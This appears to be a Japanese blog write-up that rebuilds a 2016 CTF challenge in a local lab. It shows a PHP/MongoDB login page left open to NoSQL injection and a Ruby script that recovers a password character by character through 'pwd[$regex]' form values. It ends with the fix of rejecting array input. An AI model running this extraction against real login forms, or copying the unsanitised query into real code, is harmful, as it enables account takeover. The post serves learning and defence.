16-09-07

本日のコード(1)[Mongodb,PHP]

MMA CTF 2nd 2016 : get-the-admin-password-100

のWrite-upを読んでいて、自分で環境を作って試したくなった。
が、この問題に関しては少なくとも(?)データベースがMongodb(or NoSQLの類)である
ことが分からないので、' OR 1=1--系が反応しないことをもって
データベースの種類を判定しなさいという意味合いで捉えた。
(あるいは単にSQLインジェクションのレパートリーに、NoSQL系の
攻撃方法を追加しなさいという)

データを登録、まずは$regexを使うところから。

use under23_2

db.team.insert({name: "oshima", age: 10, position: "cmf", password: "oshi123"})
db.team.insert({name: "endo", age: 15, position: "dmf", password: "end456"})
db.team.insert({name: "yajima", age: 20, position: "rmf", password: "yaj789"})

db.team.find({}, {_id: 0, name: 1))
/*
=>
{ "name" : "oshima" }
{ "name" : "endo" }
{ "name" : "yajima" }
*/

/* 正規表現で検索 */
var colName = {_id: 0, name: 1}    /* 取得したいカラムを指定(面倒なので) */
db.team.find({name: {$regex: /\Ao/}}, colName)
/*
=> { "name" : "oshima" }
*/

PHPからアクセスする方法。

<?php
$s = "mongodb://localhost:27017";
$m = new MongoDB\Driver\Manager($s);

$query = new MongoDB\Driver\Query(

    /* "/\Ao/"ではない点に注意(中身だけでよい) */
    ["name" => ['$regex' => "\Ao"]],

    /* カラムの指定 */
    ["projection" => ["_id" => 0, "name" => 1]]

);
$cur = $m->executeQuery("under23_2.team", $query);

$docs = $cur->toArray();
if (!empty($docs)) {
    foreach ($docs as $player) {
        echo $player->name . "\n";
    }
}
/*
=> oshima
*/
?>

ログインフォームを作ってみた。

<!-- 略 (単なる包装) -->
<body>
  <h3>Login</h3>
  <form action="./login.php" method="POST">
    Player name: <input type="text" name="player"><br>
    Password: <input type="password" name="pwd"><br>
    <input type="submit" value="Login">
  </form>
</body>
<?php
/* login.php */
function check($p) {
    if (!isset($p) || $p === "") die("Invalid access");
}

$player = $_POST["player"];
$password = $_POST["pwd"];
check($player);
check($password);

/* DBに接続 */
$s = "mongodb://localhost:27017";
$m = new MongoDB\Driver\Manager($s);

/* クエリを生成 (危険) */
$query = new MongoDB\Driver\Query(
    ["name" => $player, "password" => $password]
);

/* 該当するドキュメント(レコード)があればデータを表示 */
/* ドキュメントの重複は考えない */
$cur = $m->executeQuery("under23_2.team", $query);
$docs = $cur->toArray();
if (count($docs) > 0) {
    /* ログインデータを表示 */
    echo "Name: " . htmlspecialchars($docs[0]->name,
        ENT_QUOTES, "UTF-8") . "<br>";
    echo "Password: " . 
        str_repeat("*", strlen($docs[0]->password)) . "<br>";
} else {
    die("Login failed");
}
?>

以上の処理だと、フォーム値にリストを使うことができ、
"pwd[$regex] => "^任意の文字列"とすることでログインできてしまう。
(クエリの生成部分で、"password" => ["$regex" => "任意の値"]"となる)

# Player nameが"oshima"であることが事前に判明しているとすると
# (以下、書きなぐり)
require "net/http"
require "uri"

uri = URI "http://localhost:4002/mongo_test/login.php"
req = Net::HTTP::Post.new(uri)

# 場合によって記号類を追加する
a = "abcdefghijklmnopqrstuvwxyz" +
  "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
  "0123456789"
chars = a.split ""

password = ""
n = 30    # エレガントではないが(十分に大きな数)
for i in 0..n
  chars.each_with_index do |c, i|
    if i == 0
      req.set_form_data(player: "oshima", "pwd[$regex]" => "^" + c)
    else
      req.set_form_data(player: "oshima", "pwd[$regex]" => "^" + password + c)
    end
    res = Net::HTTP.new(uri.host, uri.port).start do |http|
      http.request(req)
    end
    if res.body !~ /Login failed/    # 正常系のレスポンスの場合
      password += c
      break
    end
  end
end

puts password    # "oshi123"

と、パスワードが判明する。$_POSTで値を受け取った時点で、それが
(意図していない)配列値ならエラーとすべきである。とても面白かった。

Write-upを読んだ(1)